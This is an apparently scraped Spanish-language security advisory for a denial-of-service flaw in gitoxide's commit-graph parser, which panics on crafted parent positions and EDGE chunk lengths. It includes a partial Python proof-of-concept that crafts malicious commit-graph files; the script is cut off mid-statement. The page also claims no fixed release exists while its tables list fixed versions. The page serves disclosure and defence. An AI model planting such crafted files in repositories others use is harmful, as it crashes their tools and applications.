GHSA-989C-XJ77-266R
El analizador de commit-graph de gix confía en posiciones de padres y longitudes de fragmentos controladas por el atacante, por lo que los comandos que recorren el historial abortan el proceso en repositorios manipulados
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-989C-XJ77-266R divulgada · CVSS 5.5 (GitHub) | |
| Remediación | Parche 0.42.0 | gix-commitgraph · 0 d desde divulgación | |
| Remediación | Parche 0.61.0 | gitoxide · 0 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
Todas las evidencias, pasos de reproducción y scripts del informe se verificaron contra una instancia real en ejecución. Nada está fabricado ni es sintético; cada veredicto está respaldado por salidas capturadas de un despliegue real.
El lector de commit-graph incluido en gitoxide (el crate `gix-commitgraph`, que se lee por defecto cuando un repositorio contiene `.git/objects/info/commit-graph`) analiza el archivo sin validar los dos campos de tabla que sirven de índice: las posiciones de grafo de los padres, tomadas de las tablas de commits y de aristas, se envuelven en valores `Position` y se usan sin comprobación, y la longitud del fragmento de lista de aristas extendidas (EDGE) se acepta sin la verificación de alineación de 4 bytes que se aplica a todos los demás fragmentos. Ambas omisiones llevan directamente a llamadas `panic!`/`unwrap` en la capa de índice, de modo que un archivo commit-graph manipulado (datos de repositorio comunes que vienen con cualquier repositorio clonado o comprimido y que no requieren privilegios para colocarse) hace que todo comando `gix` que recorre el historial aborte el proceso completo. `gix merge-base` y `gix blame` terminaron con `panicked at gix-commitgraph/src/access.rs:88:9: graph position too large: 2147483647` (código de salida 101) y con un pánico por `unwrap` en `gix-commitgraph/src/file/commit.rs:27:37`, respectivamente. Esto se verificó con el binario oficial de la versión v0.60.0, mientras que Git upstream examinó los mismos archivos y, o bien falló con un error limpio de una línea (código de salida 128), o bien ignoró los datos de aristas malformados y listó el historial con normalidad (código de salida 0). Como el mismo lector respalda las APIs `Repository::merge_base` y de blame, una aplicación que integra gix para operar con repositorios no confiables pierde su proceso host de la misma manera, lo que convierte el fallo en una denegación de servicio confiable para todo consumidor de datos de repositorio suministrados por un atacante.
Detalles
El formato de archivo commit-graph almacena, por cada commit, las posiciones de grafo de sus padres. El lector de gix convierte esos campos crudos de 32 bits en identificadores de posición sin compararlos nunca con el número de commits que declara el archivo, y el lado consumidor indexa directamente la tabla de commits:
gix-commitgraph/src/file/commit.rs:141,151,187,189 (v0.60.0, idéntico en main 8dc7afdee)
- Parents iterator wraps arbitrary CDAT/EDGE u32 values as Ok(Position), no < num_commits check
gix-revwalk/src/graph/commit.rs:14,99
- consumer calls cache.commit_at(*pos) with the unchecked position
gix-commitgraph/src/access.rs:88
- Graph::lookup_by_pos panics: "graph position too large: {}" on out-of-range positionsUna segunda longitud sin validar está en el cargador de la tabla de fragmentos: cuando se registra el fragmento de lista de aristas extendidas, su tamaño se pasa sin comprobación, a diferencia de los fragmentos OIDF, OIDL y CDAT, cuyos tamaños se validan como múltiplos exactos de la anchura de su registro:
gix-commitgraph/src/file/init.rs:136
- EDGE chunk length taken with no alignment/width validation (other chunks are validated)
gix-commitgraph/src/file/commit.rs:26-28
- read_u32 does try_into().unwrap(), a < 4-byte tail triggers TryFromSliceError
gix-commitgraph/src/file/commit.rs:161
- the edge iterator walks the chunk in chunks(4), so a 4k+1 length yields a dangling 1-3 byte tailAmbas rutas terminan en un pánico de Rust, que aborta el proceso. El lector está conectado a los comandos de historial predeterminados: `gix merge-base` carga el commit-graph (`gitoxide-core/src/repository/merge_base.rs:24-25`) y `gix blame` hace lo mismo (`gitoxide-core/src/repository/blame.rs:31`), con la lectura de commit-graph habilitada por defecto. Git upstream valida exactamente los campos que gix omite: rechaza una posición de padre fuera de rango con `fatal: invalid parent position` y tolera un puntero de arista malformado con una única línea `error:` antes de continuar; por tanto, la diferencia ante la misma entrada es un error limpio frente a un aborto del proceso. Como factor amplificador, el cargador solo comprueba la longitud del trailer del archivo y nunca verifica la suma de comprobación del commit-graph, de modo que los archivos modificados con un editor hexadecimal o con cualquier script se cargan sin obstáculos. La última versión etiquetada, v0.60.0 (2026-10-08), se verificó con el binario oficial de la release, y los fuentes de `gix-commitgraph` y `gix-revwalk` en main (8dc7afdee) son idénticos byte a byte a la etiqueta, salvo por los metadatos del cambio de versión, por lo que no existe una versión corregida publicada.
Prueba de concepto
La instancia es el binario oficial de la versión v0.60.0 `gitoxide-max` para x86_64-pc-windows-msvc, tomado de la página de releases de GitHub de gitoxide v0.60.0 (`gix` informa `gix v0.60.0`), ejecutado sobre un repositorio local de muestra simple de tres commits que siguen un único archivo `notes.txt`, creado y contrastado con Git for Windows 2.55.0.windows.4. No interviene ninguna configuración de repositorio no predeterminada, ya que gix lee `.git/objects/info/commit-graph` siempre que el archivo exista. El script de manipulación que aparece a continuación reescribe el commit-graph en su lugar; guárdelo junto al repositorio de muestra antes de ejecutar el bloque de comandos.
```bash
cat > ../craft_commitgraph.py <<'EOF'
#!/usr/bin/env python3
"""Craft a commit-graph file whose CDAT parent positions exceed num_commits.
Variant A ('position'): every non-root commit's parent1 becomes an
out-of-range graph position (0x7FFFFFFF). Applied in place.
Variant B ('shortedge'): rebuild the file with an added EDGE chunk whose
length is not a multiple of 4 (one full edge + a 1-byte dangling tail) and
point every non-root commit's parent2 at that edge index.
"""
import struct
import sys
SENTINEL = b"\x00\x00\x00\x00" # git's chunk-file TOC terminator (gix-chunk SENTINEL = [0u8; 4])
def parse(path):
data = open(path, "rb").read()
assert data[:4] == b"CGPH", "not a commit-graph file"
hash_ver = data[5]
hash_len = 32 if hash_ver == 2 else 20
chunk_count = data[6]
entries = []
for i in range(chunk_count):
e = 8 + 12 * i
kind = data[e:e + 4]
off = struct.unpack_from(">Q", data, e + 4)[0]
entries.append((kind, off))
sentinel_off = struct.unpack_from(">Q", data, 8 + 12 * chunk_count + 4)[0]
return data, hash_len, chunk_count, entries, sentinel_off
def fanout_commits(data, toc):
for kind, off in toc:
if kind == b"OIDF":
return struct.unpack_from(">I", data, off + 255 * 4)[0]
raise SystemExit("no OIDF chunk")
def variant_position(path):
data, hash_len, chunk_count, toc, _ = parse(path)
data = bytearray(data)
cdat = next(off for kind, off in toc if kind == b"CDAT")
entry_size = hash_len + 16
num_commits = fanout_commits(data, toc)
import os
print(f"[craft] hash_len={hash_len} chunks={chunk_count} num_commits={num_commits} CDAT@{cdat}")
patched = 0
for i in range(num_commits):
p1_off = cdat + i * entry_size + hash_len
p1 = struct.unpack_from(">I", data, p1_off)[0]
print(f"[craft] entry {i}: parent1=0x{p1:08x}")
if p1 != 0xFFFFFFFF:
struct.pack_into(">I", data, p1_off, 0x7FFFFFFF)
patched += 1
print(f"[craft] patched {patched} parent1 fields to out-of-range position 0x7FFFFFFF")
os.chmod(path, 0o644)
open(path, "wb").write(bytes(data))
print("[craft] wrote", path)
def variant_shortedge(path):
data, hash_len, chunk_count, toc, sentinel_off = parse(path)
data = bytearray(data)
body_len = sentinel_off # chunks span up to the sentinel offset
num_commits = fanout_commits(data, toc)
cdat = next(off for kind, off in toc if kind == b"CDAT")
entry_size = hash_len + 16
# order chunks by offset, compute their spans
ordered = sorted(toc, key=lambda ko: ko[1])
spans = []
for idx, (kind, off) in enumerate(ordered):
end = ordered[idx + 1][1] if idx + 1 < len(ordered) else body_len
spans.append((kind, off, end))
# EDGE content: one full 4-byte internal-edge record (no LAST mask, so the
# iterator continues) + a 1-byte dangling tail
edge_content = struct.pack(">I", 0) + b"\x41"
header = bytearray(data[:8])
header[6] = chunk_count + 1
def toc_size(n):
return 12 * (n + 1)
# layout: header | TOC | chunks... | EDGE | trailer
cursor = 8 + toc_size(chunk_count + 1)
new_toc = bytearray()
out_chunks = bytearray()
for kind, off, end in spans:
content = bytes(data[off:end])
new_toc += kind + struct.pack(">Q", cursor)
out_chunks += content
cursor += len(content)
new_toc += b"EDGE" + struct.pack(">Q", cursor)
cursor += len(edge_content)
new_toc += SENTINEL + struct.pack(">Q", cursor)
out = bytearray(header) + new_toc + out_chunks + edge_content + data[body_len:body_len + hash_len]
# point parent2 of every non-root commit at the extra-edge index 0
patched = 0
base = 8 + toc_size(chunk_count + 1)
# recompute CDAT offset in new file
cd_new = None
cur = base
for kind, off, end in spans:
if kind == b"CDAT":
cd_new =
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
crates.iogix-commitgraph |
Corregida | 0.42.0 | 0 d | 0.42.0 no afectada |
crates.iogitoxide |
Corregida | 0.61.0 | 0 d | 0.61.0 no afectada |
0.42.00.61.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/GitoxideLabs/gitoxide/security/advisories/GHSA-989c-xj77-266rLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
